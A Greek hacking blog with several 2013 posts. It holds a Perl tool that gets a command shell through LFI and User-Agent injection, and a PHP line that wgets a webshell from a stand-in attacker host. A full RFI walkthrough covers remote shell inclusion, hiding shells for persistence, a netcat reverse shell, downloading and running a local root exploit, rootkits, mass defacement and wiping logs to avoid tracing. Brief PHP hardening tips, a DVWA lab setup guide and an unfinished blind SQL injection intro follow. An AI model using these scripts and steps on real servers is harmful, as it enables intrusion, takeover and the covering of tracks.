Αφού πήραμε μια γεύση για το τη μπορούμε να κάνουμε με το LFI, ας δούμε όμως μέχρι που μπορούμε να το φτάσουμε. Λοιπόν, ας αντικαταστήσουμε την προηγούμενη εντολή με μια λίγο διαφορετική. Αλλά βασισμένη στην ίδια λογική! Θα ανεβάσουμε σε δικο μας έναν server ένα shellakι όπως αυτά που χρησιμοποιούνται στις αντεπιθέσεις RFI.  Όταν γίνει αυτό βάζουμε το server-θυμα να το κατεβάσει στα αρχεία του με την εντολή wget!

1<?php system("wget www.evilhacker.com/shell.txt; mv shell.txt hacked.php");?>

Με την παραπάνω εντολή, αναγκάζουμε το σύστημα να κατεβάσει -μέσω του “wget”- το shell.txt και μετά με την εντολή “mv” αλλάζουμε το όνομα από shell.txt σε hacked.php.
Πάμε στη σελίδα “/hacked.php”.

Το σύστημα είναι πλέων owned :) Και χωρίς καν να ιδρώσουμε!

Βήμα 7ο

Αφού κατανοήσαμε τον τρόπο με τον οποίο λειτουργεί η συγκεκριμένη επίθεση, σειρά έχει να γράψουμε ένα αυτοματοποιημένο εργαλείο το οποίο να μας επιστρέφει shell, ώστε να μην χρειάζεται να κάνουμε όλη την προαναφερθείσα διαδικασία.

01#!/usr/bin/perl
02
03use LWP::UserAgent;
04use HTTP::Request;
05
06print "\n(c) totalXaker magazine \n";
07print "LocalFI Automatic Ownage Tool [mr.pr0n]\n";
08print "Host: ";
09print "[Ex: www.xxx.org ]:";
10chop ($host = );
11$host = "http://".$host if ($host !~ /^http:/);
12print "Enter path:";
13print "[Ex: xxx.php?xxx= ]:";
14chop ($path = );
15{
16        $ext="../../../../../../../../../../../../../../../../../../../proc/self/environ";
17        $lfi=$host."/".$path.$ext;
18        print "$lfi\n\n";
19        $useragent = LWP::UserAgent->new;
20        print ":~# ";
21        while( $cmd = )
22        {
23                chop($cmd);
24                # Allazoyme ta stoixeia tou User Agent me oti 8eloume emeis
25                $useragent->agent("data<!--?php system('$cmd');?-->data");
26                $response = $useragent->get( $lfi );
27                # Osa stoixeia emfanistikan ap thn entolh, anagrafonte sto termatiko
28                if ($response->content =~ /data(.*)data/s)
29                {
30                        print $1;
31                }
32                print ":~# ";
33        }
34}

Τα αποτελέσματα και η χρήση του προγράμματος που γράψαμε είναι εμφανέστατα εικονα...

Το μικρο μας -όχι τόσο αθώο- προγραμματάκι έχει βάλει δυνατά του να μας βγάλει ασπροπρόσωπους και τα κατάφερε μια χαρά αφού πήραμε cmd μέσα στον server-στόχο. Πόσο χειρότερα για τον Admin θα μπορούσαν να είναι τα πράγματα?

Επίλογος

Όπως θα διαπιστώσατε στις εικόνες, τα στοιχεία του site είναι καλυμμένα ως έναν αρκετά ικανοποιητικό βαθμό, ώστε να αποφευχθούν οι επιθέσεις από ανώριμα script kiddies τα οποία το μόνο που θα ενδιαφερθούν είναι να κάνουν ενα deface στο server χωρίς καν να καταλάβουν πως έγιναν όλα αυτά.
Όπως είναι φυσικό και επόμενο το shell “hacked.php” που είχα ανεβάσει, έχει σβηστεί απ’τον server καθώς επίσης δεν έχει πειραχτεί κανένα μα κανένα αρχείο. H γνώση δείχνει δύναμη.. ενώ η επίδειξη της δύναμη με σκοπό την καταστροφή δείχνει απλά την μετριότητα.

ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.

Δευτέρα 25 Φεβρουαρίου 2013

Επιθέσεις R.F.I (Remote File Inclusion)

Σε προηγούμενο tutorial είχαμε αναφέρει γενικά τα είδη των διαδικτυακών επιθέσεων. Σε αυτό λοιπόν το tutorial θα αναλύσουμε με λεπτομέρειες τι είναι το R.F.I, θα πούμε πως γίνεται όπως επίσης θα αναφέρουμε και τρόπους προστασίας.
Η μέθοδος αυτή αφορά την εκτέλεση ενός κακόβουλου προγράμματος (για την ακρίβεια ενός webshell) από έναν μη εξουσιοδοτημένο χρήστη, σε μια ευάλωτη σε αυτού του είδους την επίθεση ιστοσελίδα που φιλοξενείται σε κάποιον server. Το συγκεκριμένο κενό ασφαλείας μας επιτρέπει να συμπεριλάβουμε ό,τι κώδικα θέλουμε στην URL, όπως για παράδειγμα την εκτέλεση ενός webshell.
Στο διαδίκτυο μπορεί να βρει κανείς διάφορα webshells. Με τη χρήση αυτών λοιπόν, πολλές φορές, μπορούμε να εγκαταστήσουμε κάποιο keylogger, trojan, backdoor. Μπορούμε ακόμα και να πάρουμε τον έλεγχο του λειτουργικού συστήματος του σέρβερ δηλαδή να πάρουμε root access (own the box).
Το webshell είναι μια σελίδα γραμμένη σε php ή asp τις περισσότερες φορές (γενικά όμως dynamic pages κτλ.) η οποία δίνει την δυνατότητα στον επιτιθέμενο να δει τα περιεχόμενα των φακέλων του site, να διαχειρίζεται αρχεία (προσθήκη, επεξεργασία, ανέβασμα κτλ) ανάλογα βέβαια πάντα και με τα permissions, κι όπως είπαμε και προηγουμένως ακόμα και να rootarei το box!
Το συγκεκριμένο κενό ασφαλείας οφείλεται στον κακό προγραμματισμό (τι άλλο θα μπορούσε δηλαδή;) κι επεξηγώ... Εάν κοιτάξουμε στον κώδικα του php αρχείου προσεχτικά θα βρούμε σε κάποιο σημείο το εξής καλούδι:

include($page . '.php');
Τι σημαίνει δηλαδή αυτό; Σημαίνει ότι η συνάρτηση include() δέχεται χωρίς κανένα πρόβλημα ό,τι της σερβίρουμε. Μα φυσικά τι άλλο εκτός από το ωραίο, συναρπαστικό αλλά πάνω απ' όλα κακόβουλο (για τον admin, όχι για εμάς) shellaki μας.

Δηλαδή, έχουμε το εξής site:http://www.site.gr/index.php?page=index.php
Εμείς λόγω του κενού αυτού που αναφέραμε, μπορούμε να το τροποποιήσουμε λιγάκι το url, δηλαδή να εκτελέσουμε το εξής:

http://www.site.gr/index.php?

page=http://www.remotewebserver.gr/shell.php

ώστε να το κάνουμε να διαβάζει το shell μας το οποίο έχουμε ανεβάσει σε έναν
remote web server. Επίσης, έχουμε την δυνατότητα να ανεβάσουμε το shell ως .txt αρχείο για να μην μπορούν οι άλλοι να δουν τα περιεχόμενα του δικού μας site.

Εκτελούμε δηλαδή:
http://www.site.gr/index.php?

page=http://www.remotewebserver.gr/shell.txt?

Το ερωτηματικό το βάζουμε για να πούμε στον σέρβερ να διαβάσει το αρχείο shell.txt ως php κι όχι ως txt. Να σημειώσω ότι μερικές φορές το ερωτηματικό δεν επαρκεί για να “ξεγελάσει” το website. Ενδέχεται λοιπόν να πρέπει να προσθέσουμε null bytes για να εκτελεστεί κανονικά.
Αυτό το κάνουμε δίνοντας την εξής εντολή:

http://www.site.gr/index.php?
page=http://www.remotewebserver.gr/shell.txt?

Πως μπορούμε να εντοπίζουμε τέτοιου είδους κενά ασφαλείας;


Τέτοιες αδυναμίες μπορούμε να βρούμε εάν κατέχουμε ορισμένες γνώσεις προγραμματισμού. Συνήθως όμως τις βρίσκουμε με Vulnerability Scanners (nikto, acunetix, darkjumper_script κτλ). Μπορούμε όμως να βρούμε τέτοιου είδους ευάλωτες ιστοσελίδες και μέσω των γνωστών μας google dorks, ακόμα κι από bots που τρέχουν σε IRC Servers.

Πως ελέγχουμε αν είναι όντως ευάλωτο σε R.F.I επιθέσεις το συγκεκριμένο link;


Έχουμε το εξής site:

http://www.site.gr/index.php?page=index.php

Για να ελέγξουμε εάν είναι τρωτό στο συγκεκριμένο bug αντικαθιστούμε το index.php με όποια σελίδα να ‘ναι.
Μπορούμε να κάνουμε δηλαδή το εξής απλό:

http://www.site.gr/index.php?page=www.google.gr

Εάν φορτώσει το google μέσα στη σελίδα μας, τότε σημαίνει ότι το site αυτό είναι ευάλωτο σε αυτού του είδους τις επιθέσεις.Που ανεβάζω το shellaki μου; Προφανώς δεν θα το ανεβάσουμε σε κάποιον δικό μας σέρβερ λόγω tracing. Οπότε, μπορούμε να κάνουμε το εξής απλό και να ανεβάσουμε τα διάφορα shellakia μας σε έναν free host.

Που θα βρούμε έναν τέτοιον;

Υπάρχουν πάρα πολλοί στο διαδίκτυο και με ένα απλό googlarisma βρίσκεις.
Παραδείγμα:

Αφού ανεβάσουμε το shell μας, πάμε να πάρουμε το direct link του αρχείου.
Το link που θα πάρουμε θα είναι της ακόλουθης μορφής:

http://www.speedyshare.com/files/12345678/shell.php
http://www.speedyshare.com/files/12345678/shell.txt

Το direct link στον συγκεκριμένο σέρβερ προκύπει εάν πριν από το όνομα προσθέσουμε download/
Δηλαδή τα direct links είναι το εξής:

http://www.speedyshare.com/files/12345678/download/shell.php
http://www.speedyshare.com/files/12345678/download/shell.txt

Εμείς ανεβάζουμε το shell και ως .php αλλά και ως .txt αρχείο γιατί δεν ξέρεις τι θα βολεύει κάθε φορά (άλλες φορές θα χρησιμοποιούμε το shell κι άλλες το txt).

ΣΗΜΕΙΩΣΗ: Καλό είναι να έχουμε ανεβασμένα 2-3 shells καθώς ορισμένες φορές μπορεί το ένα να μην μπαίνει και να μπαίνει το άλλο. Πολύ καλό shell είναι το storm7shell. Γενικά, να χρησιμοποιείτε shells που διαθέτουν back-connection feature για να μην χρειάζετε να κάνετε upload το netcat εάν επιχειρήσετε να rootarete το box.

Πως μπορούμε να διατηρήσουμε την πρόσβαση μας στο site;


Εάν έχουμε τα κατάλληλα δικαιώματα μπορούμε να ανεβάσουμε το ίδιο το shell στο site. Έτσι θα έχουμε πρόσβαση ανά πάσα στιγμή το επιθυμούμε, όσο το shell θα παραμένει ανεβασμένο στην σελίδα ανεξάρτητα από το εάν έχει διορθοθεί το bug. Φυσικά, δεν το κάνουμε όπως να ‘ναι. Το shell θα το ανεβάσουμε σε ένα απομακρυσμένο directory και με όνομα τέτοιο ώστε να μην κινεί ιδιαίτερα υποψίες, όπως changelog.php, default.php, default_pages.php κλπ.Πως μπορούμε να rootaroume έναν Linux Server με SAFE MODE:OFF.
Καταρχάς, θα χρειαστούμε το NetCat και ένα Local Root Exploit (ανάλογα πάντα βέβαια την έκδοση του server που έχουμε βάλει στο shell). Εφόσον έχουμε ανεβάσει το shell πάμε να μάθουμε πρώτα απ’ όλα ποια είναι η έκδοση του box.
Δίνουμε λοιπόν την εντολή: uname –a
Πάμε τώρα να κάνουμε back-connection μέσω του shell.
Ανοίγουμε το NetCat στον υπολογιστή μας και το προστάζουμε να κάνει listen σε μια συγκεκριμένη θύρα.
Σημείωση: Η θύρα αυτή θα πρέπει να είναι ρυθμισμένη δηλαδή να γίνεται forward από το router και να μην υπάρχει θέμα με το firewall μας (πολύ απλά κλείστε το). Η default port για το storm7shell είναι η θύρα 5992. Γενικά, σε όλα τα shellakia με back-connection features σου γράφουν αυτά σε ποια θύρα πρέπει να κάνεις listen, αν και μπορείς να βάλεις όποια θύρα κάνεις κέφι εσύ. Δίνουμε λοιπόν την εξής εντολή στο NetCat για να ξεκινήσει το listening:
nc -n -l -v -p 5992
NetCat respond: listening on [any] 5992 ...
Στην φόρμα της IP βάζουμε την IP μας. Στην φόρμα της θύρας βάζουμε την θύρα την οποία ανοίξαμε και στην οποία ακούει το NetCat. Εάν πατήσουμε Connect, το shell θα μας απαντήσει:
Now script try connect to port 5992 ...
Εάν οι ρυθμίσεις μας είναι όλες σωστές τότε το NetCat θα μας δώσει το shell του σέρβερ. Συνεχίζουμε τώρα το rooting process. Πρέπει να βρούμε τώρα έναν εγγράψιμο φάκελο με σκοπό να κατεβάσουμε και να κάνουμε compile το Local Root Exploit το οποίο θα μας δώσει root privileges στο box. To exploit εξαρτάται από την έκδοση του kernel του εκάστοτε box. Μερικές φορές τα exploits αυτά δεν δουλεύουν επειδή μπορεί να τα έχουν κάνει patch τα bugs του kernel ή να μην έχουμε τα κατάλληλα permissions.
Μπορούμε να βρούμε εγγράψιμους φακέλους δίνοντας την εντολή:
find / -perm -2 -ls

Μπορούμε να χρησιμοποιήσουμε τον φάκελο /tmp που είναι σίγουρα εγγράψιμος φάκελος. Οπότε δίνουμε την εξής εντολή:
cd /tmp
Για να κατεβάσουμε το local root exploit μπορούμε να χρησιμοποιήσουμε την εντολή wget που είναι για download στο linux.
Για παράδειγμα:
wget http://www.remotewebhost.gr/rootexploit.c
Αφού κατεβάσουμε το exploit πρέπει να το κάνουμε compile. Όμως, πριν κάνουμε το compile θα πρέπει να διαβάσουμε τυχόν οδηγίες που παρέχονται. Για το exploit με όνομα ‘rootexploit’ πρέπει να γράψουμε:
gcc rootexploit.c -o rootexploit
Τώρα λοιπόν κάναμε το rootexploit εκτελέσιμο. Για να τρέξουν ορισμένα exploits χρειαζόμαστε ένα πολύ μεγάλο αρχείο στο δίσκο προκειμένου να τρέξει κανονικά και να πάρουμε root access (πχ. το h0llyshit exploit). Δεν θέλουν όμως όλα (ίσως λίγα μόνο θέλουν), οπότε θα πρέπει να το ψάξετε λίγο το συγκεκριμένο θέμα. Πρέπει να δημιουργήσουμε ένα μεγάλο αρχείο στο /tmp ή σε κάποιον άλλον εγγράψιμο φάκελο.
Η εντολή είναι:
dd if=/dev/urandom of=largefile count=2M
Όπου largefile είναι το όνομα του αρχείου. Θα χρειαστεί να περιμένουμε 2-3 λεπτά μέχρι να δημιουργηθεί ο φάκελος. Εάν η εντολή αποτύχει, μπορούμε να δοκιμάσουμε την εξής εντολή:
dd if=/dev/zero of=/tmp/largefile count=102400 bs=1024
Τώρα, μπορούμε να προχωρήσουμε στο τελευταίο στάδιο το οποίο είναι να τρέξουμε το exploit. Δίνουμε λοιπόν την εξής εντολή:
./rootexploit largefile
ή εάν είμαστε σε διαφορετικό εγγράψιμο φάκελο και το largefile έχει δημιουργηθεί στο φάκελο /tmp δίνουμε την εξής εντολή:
./rootexploit /tmp/largefile
Εάν το exploit δεν απαιτεί την παραπάνω διαδικασία, απλά δίνουμε την εξής εντολή:
./rootexploit
Εάν δεν παρουσιαστούν σφάλματα (γιατί όπως είπαμε μπορεί να έχει εγκατασταθεί κάποιο patch για τον kernel κτλ) θα γίνουμε root. Για να ελέγξουμε σίγουρα εάν γίναμε root πατάμε την εντολή:
whoami
Με την εντολή αυτή βλέπουμε το όνομα του χρήστη μας. Οπότε εάν δούμε root, τα καταφέραμε. Τώρα που γίναμε root μπορούμε να κάνουμε mass deface όλα τα sites του σέρβερ ή να εγκαταστήσουμε ένα rootkit (πχ. SSHDoor) και να πάρουμε ssh/telnet shell access στον σέρβερ. Όταν παίρνουμε access στο box θα πρέπει να σβήνουμε και τα logs ώστε να αποφεύγουμε το tracing. Αυτό μπορεί να επιτυγχανθεί με έναν log cleaner. Δεν θα δώσω tips κλπ γι’ αυτό μιας και είναι μια άλλη μεγάλη ιστορία από μόνο του.

Τρόποι Προστασίας


Η βασική αιτία που συμβαίνουν οι επιθέσεις αυτές οφείλεται στο configuration της γλώσσας PHP στον εκάστοτε server η οποία έχει «σεταριστεί» έτσι ώστε να επιτρέπει την κλήση προγραμμάτων από άλλα sites.
Μια λύση για να μην μπορεί κάποιος να «τρέξει» απομακρυσμένο κώδικα στο site μας, είναι να δώσουμε συγκεκριμένες τιμές σε κάποιες μεταβλητές περιβάλλοντος της γλώσσας PHP, μέσα στο αρχείο PHP.INI (http://www.php.net/manual/en/ini.php):
  • allow_url_fopen = false
Θέτοντας την μεταβλητή αυτή false, δεν επιτρέπεται σε κάποιον να εκτελέσει ένα πρόγραμμα σε απομακρυσμένο server.

  • safe_mode = true
H παραπάνω μεταβλητή έχοντας την τιμή true δεν θα επιτρέψει σε κάποιον να
εκτελέσει συναρτήσεις του στυλ system(),exec() κλπ. Δηλαδή συναρτήσεις που
εκτελούν εντολές του λειτουργικού συστήματος. Η συγκεκριμένη όμως μεταβλητή δεν υποστηρίζεται στη Php 6.0. Το σκεπτικό είναι ότι η Php δεν πρέπει να ασχολείται με τόσο «συστημικά ζητήματα» τα οποία μπορούν να επιλυθούν από το security του ίδιου του λειτουργικού (π.χ. με τον καθορισμό access rights κλπ - http://us2.php.net/manual/en/features.safe-mode.php).

  • Χρησιμοποιείτε στα προγράμματα σας την συνάρτηση της php file_exists(). Με αυτόν τον τρόπο μπορείτε να ελέγχετε αν υπάρχει το αρχείο που θα κληθεί να εκτελεστεί στον τοπικό σας δίσκο. Αν το αρχείο δεν υπάρχει στον τοπικό δίσκο αλλά υπάρχει σε κάποιον απομακρυσμένο server, η συνάρτηση θα επιστρέψει false!Για περισσότερες και πιο «ζουμερές» λεπτομέρειες ανατρέξτε στο

http://us2.php.net/manual/en/ref.filesystem.php#ini.allow-url-fopen
http://us2.php.net/manual/en/features.remote-files.php

ΠΡΟΣΟΧΗ! Αυτός ο οδηγός εκμάθησης παρέχεται μόνο για εκπαιδευτικούς σκοπούς. Δε φέρω καμιά ευθύνη σε περίπτωση που χρησιμοποιηθεί για κακόβουλη χρήση και για εφαρμογή του σε τρίτους χωρίς την συγκατάθεση τους. Κάθε παράνομη εφαρμογή του οδηγού αυτού διώκεται ποινικά από το νόμο.

Παρασκευή 22 Φεβρουαρίου 2013

BackBox Linux 3.01 PenTesting Distro



Η ομάδα BackBox κυκλοφόρησε την ενημερωμένη έκδοση του BackBox Linux, 3.01. Αυτή η έκδοση περιλαμβάνει χαρακτηριστικά όπως το Linux Kernel 3.2 και το Xfce 4.8.
Το BackBox είναι μια έκδοση Ubuntu που διαθέτει εργαλεία ελέγχου & τρόπου ηλεκτρονικής διείσδυσης και αξιολόγησης αδυναμιών. Με κύριο γνώμονα την ασφάλεια το Backbox έχει προσανατολισμό την διάθεση ενός ολοκληρωμένου εργαλείο ελέγχου δικτύων πληροφορικής και ανάλυσης συστημάτων.


Νέα χαρακτηριστικά:

  • Νέα και ενημερωμένα εργαλεία hacking (π.χ. backfuzz, beef, bluediving, cvechecker, htexploit, metasploit, set, sqlmap, websploit, weevely, wpscan, zaproxy κ.α.)
  • Βελτίωση του συστήματος 
  • Upstream components  
  • Επιδιορθώσεις σφαλμάτων  
  • Ενισχυμένη απόδοση
  • Βελτιωμένο μενού ελέγχου
  • Βελτιωμένοι Wi-Fi dirvers (συμβατότητα/υποστήριξη συσκευών -ενημερωμένη έκδοση aircrack)
Τα ISO (32bit & 64bit) μπορείτε να το κατεβάσετε από Εδώ

Πέμπτη 21 Φεβρουαρίου 2013

Damn Vulnerable Web App

Σε αυτό το tutorial θα δούμε πως μπορείτε μέσω του xampp/lampp να τρέξετε μια τρωτή ιστοσελίδα, ώστε να πειραματιστείτε πάνω στο pentesting χωρίς να βλάψετε κάποια ιστοσελίδα.
Εμείς θα χρησιμοποιήσουμε το Damn Vulnerable Web App. Τι είναι αυτό; Όπως μας λέει και στην επίσημη ιστοσελίδα του:Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Λογικό ακούγεται έτσι; Είναι φτιαγμένο για ειδικούς ασφαλείας, ή για άτομα που θέλουν να ασχοληθούν με αυτόν τον τομέα, έτσι ώστε να δούν σε ποιο επίπεδο βρίσκονται. Επίσης θα καταλάβετε και πως να "κλείσετε" τις τρύπες που δημιουργούν το πρόβλημα. Πηγαίνουμε σε αυτή τη σελίδα και πατάμε το κουμπί "Download" ώστε να κατεβάσουμε τα απαραίτητα αρχεία.


Μόλις τα κατεβάσετε(θα είναι σε μορφή .zip) θα κάνετε αποσυμπίεση τα αρχεία που περιέχοναι μέσα στο συμπιεσμένο αρχείο. Μόλις κάνετε την αποσυμπίεση στον ίδιο φάκελο θα δείτε έναν φάκελο με το όνομα "dvwa" (τα αρχικά από το Damn Vulnerable Web App).
Θα πάτε στον φάκελο Htdocs. Στα windows θα είναι: C:\Xampp\Htdocs και σε Linux -σύμφωνα με το 2ο τιτόριαλ- θα είναι στον φάκελο file system>opt>lampp>htdocs. Μόλις πάτε σε αυτόν τον φάκελο θα διαγράψετε ΟΛΑ τα περιεχόμενά του. Στη συνέχεια θα κάνετε επικόλληση τον φάκελο που βρισκόταν στο αρχείο που κατεβάσαμε(dvwa).

Οπότε στον htdocs θα βρίσκεται μόνο ένας φάκελος με το όνομα dvwa.

Αν δεν μπορείτε να κάνετε την επικόλληση-αντιγραφή τον φάκελο ενώ είστε σε Linux δεν έχετε δώσει τα κατάλληλα δικαιώματα στον administrator. Μετά από αυτή την απλή διαδικασία ξεκινάμε Apache και mysql από το control panel(θα βρίσκεται κάτω-κάτω στον φάκελο xampp σε Windows), ή αν είστε από Linux από το terminal όντας root θα πάτε στην διαδρομή /opt, και από εκεί με την εντολή lampp/lampp start θα ξεκινήσουν τα παραπάνω.
Μόλις πάμε στο "localhost" ή στο "127.0.0.1" από τον browser μας αν τα έχουμε κάνει όλα σωστά θα δούμε αυτό:


ΠΡΟΣΟΧΗ: Αν σας πετάξει κάποιο σφάλμα είναι λόγω του ότι δεν δώσατε δικαιώματα στον administrator(αφορά μόνο χρήστες Linux).

Πατάμε στον φάκελο που βλέπουμε και θα βρεθούμε σε αυτή τη σελίδα:

Εμείς θα πατήσουμε το link ώστε να δημιουργηθεί μια νέα Database. Μόλις πατήσουμε εκεί θα μας εμφανιστεί η κύρια "ιστοσελίδα" που θα είναι ακριβώς έτσι:
 
Πατάμε τώρα στο κουμπί "Create /Reset Database" και είμαστε έτοιμοι!
 
Το μόνο που έχετε να κάνετε τώρα είναι να πάτε στην καρτέλα "DVWA Security" και να αλλάξετε την ασφάλεια από high σε low, έτσι ώστε να ξεκινήσετε απλά. Το Default Username σας θα είναι "admin" και ο κωδικός "password".
Μπορείτε να δοκιμάσετε τις δυνατότητές σας σε Brute Force σε 3 επίπεδα δυσκολίας, Command Execution, CSRF , File Inclusion, SQL Injection, Blind SQL Injection, Upload και XSS. Αν κατεφέρετε να εκμεταλλευτείτε επιτυχώς όλες τις κατηγορίες τότε αλλάζετε το επίπεδο δυσκολίας.Η διαδικασία είναι πολύ απλή και θα σας βοηθήσει στα πρώτα σας βήματα πάνω στο Pen. Testing.

Τρίτη 19 Φεβρουαρίου 2013

Blind SQL injection


Σε προηγούμενο tutorial ασχοληθήκαμε με τυπικές και αρκετά απλές- επιθέσεις SQL injection. Καιρός να μπούμε πλέον, σε λίγο πιο βαθιά νερά!
Όπως θα θυμάστε απ’ όσα είχαμε αναφέρει, κατά τη διάρκεια μίας τυπικής (κυρίως error–based) επίθεσης SQL injection, συνήθως δοκιμάζουμε κάποιες λίγο–πολύ «κλασικές» εντολές SQL στον server που έχουμε ως στόχο. Στην περίπτωση που ο server, μετά τις δοκιμές μας, ανταποκριθεί «θετικά», δηλαδή, εμφανίσει κάποιο μήνυμα λάθους (ή γενικότερα συμπεριφερθεί κάπως μη αναμενόμενα), τότε υπάρχει μεγάλη πιθανότητα να είναι ευπαθής σε SQL injection.
Σίγουρα, έχουν υπάρξει πολλές φορές που ενώ προσπαθούμε να εκτελέσουμε μία τέτοιου είδους επίθεση απέναντι σε έναν στόχο που μας έχουν αναθέσει (είτε σε κάποια δουλειά είτε σε κάποιο διαγωνισμό Capture The Flag κ.λπ.) και παρατηρώντας τη γενικότερη συμπεριφορά του στόχου μας, αντιλαμβανόμαστε ότι όντως «κάτι τρέχει». Όταν, όμως, δοκιμάζουμε ορισμένες απ’ τις κλασικές εντολές SQL, δεν παίρνουμε κάποιο αξιόλογο, κατά την άποψή μας αποτέλεσμα, ώστε να βασιστούμε πάνω του και να συνεχίσουμε την έρευνά μας!

Μήπως, όμως, η λύση βρίσκεται μπροστά μας και απλώς εμείς δεν τη βλέπουμε;

Το τι εννοούμε, θα το καταλάβετε στη συνέχεια. Ένα τέτοιο παράδειγμα αποτελεί και το δεύτερο level μίας σειράς από hackit challenges.
Κάποιος που δεν διαθέτει ιδιαίτερη εμπειρία σε επιθέσεις τέτοιου τύπου και έπειτα από μερικά tests, πιθανώς να πιστέψει ότι η παραπάνω σελίδα δεν πάσχει από κάποια ευπάθεια την οποία θα μπορούσε να την εκμεταλλευτεί με SQL injection. Ίσως, πράγματι με την πρώτη ματιά να φαίνεται έτσι, αλλά πολλές φορές τα φαινόμενα απατούν! Γι αυτό λοιπόν σε αυτό το tutorial θα αναλύσουμε την επίθεση Blind SQL injection.

Λίγη, θεωρία...

Όσοι δεν είχατε ακούσει στο παρελθόν αυτόν το ορισμό, σίγουρα θα έχετε αρχίσει να αναρωτιέστε «μα τι στο καλό είναι αυτό το Blind SQL injection;», καθώς και «τι διαφορά έχει από μία τυπική επίθεση SQL injection;». Ας πάρουμε τα πράγματα με τη σειρά. Κατ’ αρχάς, αξίζει να σημειώσουμε ότι η λογική μίας τυπικής επίθεσης Blind SQL injection δεν διαφέρει σε τίποτε απολύτως από μία απλή επίθεση SQL injection, αφού και στις δύο περιπτώσεις, εκτελώντας εντολές SQL ενάντια σε έναν στόχο, προσπαθούμε να αποσπάσουμε ευαίσθητες πληροφορίες (όπως κωδικοί πρόσβασης, ονόματα χρηστών, e–mails κ.λπ.) μέσα από τη βάση δεδομένων στην οποία επιτιθέμεθα. H ουσιαστική διαφορά είναι στα μηνύματα λάθους που πιθανώς να εμφανίζει ο στόχος μας. Στην περίπτωση της Blind SQL injection, όταν εκτελούμε διάφορες εντολές στο στόχο μας, δεν παίρνουμε κάποια «ουσιαστική» ανταπόκριση. Για παράδειγμα κάποιο όνομα από table, column κ.λπ., όπως στην περίπτωση των προηγούμενων άρθρων. Αντίθετα, αυτό που παίρνουμε, είναι θετικά η αρνητικά responses (ανταποκρίσεις) απ’ το στόχο, με αποτέλεσμα να συνεχίζουμε στα «τυφλά» την επίθεσή μας. Έτσι, ο λόγος που η συγκεκριμένη επίθεση πήρε το όνομα «Blind» (=τυφλή) είναι πλέον μάλλον προφανής.

Συλλέγοντας τα απαραίτητα στοιχεία!

Το πρώτο που θα πρέπει να κάνουμε προτού αρχίσουμε να δοκιμάζουμε διάφορες SQL εντολές απέναντι στο στόχο μας, είναι να ξεκινήσουμε να συλλέγουμε όσο το δυνατό περισσότερα στοιχεία. Στη σελίδα όπου βρισκόμαστε, παρατηρούμε ότι υπάρχει μία απλή εφαρμογή ημερολογίου. Σε μία λίστα (στο πτυσσόμενο μενού) έχουν καταχωριστεί απ’ το διαχειριστή της σελίδας μερικές ημερομηνίες. Ακριβώς δίπλα, υπάρχει ένα κουμπί, «Check!», το οποίο, όταν επιλέξει ο χρήστης κάποια απ’ τις διαθέσιμες ημερομηνίες, εκτελεί έναν έλεγχο σχετικά με το αν έχουν καταχωριστεί ή όχι meetings τη συγκεκριμένη ημερομηνία. Σε περίπτωση που όντως έχει καταχωριστεί κάποιο meeting, θα εμφανιστεί με μεγάλα γράμματα στη σελίδα το ανάλογο μήνυμα, «You ’ve got a meeting!», ενώ αντίστοιχα, αν δεν υπάρχει κάποια καταχώριση, θα εμφανιστεί το «No meeting this day!». Αν ρίχναμε μία ματιά στον source code της σελίδας, μπορούμε να αποκτήσουμε μία πιο σφαιρική άποψη...
1</pre>
2<form action=”level2.php” method=”get”>
3<select name=”date”>
4<option value=”8022010”>08.02.2010</option>
5<option value=”9022010”>09.02.2010</option>
6<option value=”10022010”>10.02.2010</option>
7<option value=”11022010”>11.02.2010</option>
8<option value=”12022010”>12.02.2010</option>
9</select><input type=”submit” value=”Check!”> 

Η μέθοδος που βλέπουμε στην πρώτη σειρά, καθορίζει τον τρόπο με τον οποίο θα σταλούν τα δεδομένα στον server, ώστε στη συνέχεια να τα επεξεργαστεί. Μία μέθοδος μπορεί να πάρει τις τιμές “GET” ή “POST”.
Στην περίπτωσή μας γίνεται χρήση της μεθόδου “GET”. Κατά τη χρήση της μεθόδου “GET”, τα δεδομένα προστίθενται στο τέλος του URL. Αν επιλέξουμε μέσα απ’ τη λίστα την ημερομηνία 12.02.2010 και πατήσουμε το κουμπί Check!, η μεταβλητή “date” θα πάρει την τιμή “12022010” και στη συνέχεια θα κάνει έναν έλεγχο για καταχωρισμένα meetings! Τέλος, θα μας εμφανίσει στη σελίδα, το μήνυμα «You ‘ve got a meeting!». Ας δοκιμάσουμε να «εξετάσουμε» πόσο ασφαλής είναι αυτή η εφαρμογή. Ως γνωστόν, το πρώτο πράγμα που κάνουμε (για να ελέγξουμε αν υπάρχει κάποια ευπάθεια), είναι να εισαγάγουμε στο τέλος του URL ένα μονό εισαγωγικό “ ‘ ” και να παρατηρήσουμε την αντίδραση. Αφού εισαγάγαμε κάτι τέτοιο, διαπιστώνουμε ότι ο στόχος μας αποκρίνεται κάπως «παράξενα», εμφανίζοντας ένα ασυνήθιστο μήνυμα λάθους, το οποίο σαφώς δεν θα έπρεπε να βλέπουμε εμείς.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\\\’’ at line 1

Έτσι αντιλαμβανόμαστε ότι είμαστε σε καλό δρόμο, μια και όντως υπάρχει κάποιο πρόβλημα. Αυτό σημαίνει ότι κατά πάσα πιθανότητα αυτή η εφαρμογή είναι ευπαθής σε SQL Injection. Συγκεκριμένα, η παράμετρος “date” έχει πρόβλημα. Βέβαια, τα προβλήματα ξεκινούν, όταν δοκιμάζουμε να εκτελέσουμε κάτι σαν @@VERSION (ώστε να μας επιστρέψει την έκδοση του SQL server). Δυστυχώς δεν έχουμε κάποιο αποτέλεσμα και γενικά παρατηρούμε ότι δεν «προχωρά» η επίθεσή μας. Σκεφτόμαστε ότι μάλλον είναι μία καλή ευκαιρία να δοκιμάσουμε στην πράξη ένα Blind SQL injection.
Θυμάστε τι σας είχα αναφέρει προηγουμένως σχετικά με τη διαφορά της απλής επίθεσης SQL injection σε σχέση με την Blind SQL injection; Ότι σε μία Blind SQL injection, αυτό που παίρνουμε δεν είναι μηνύματα λάθους, αλλά θετικά ή αρνητικά responses (ανταποκρίσεις) απ’ το στόχο.
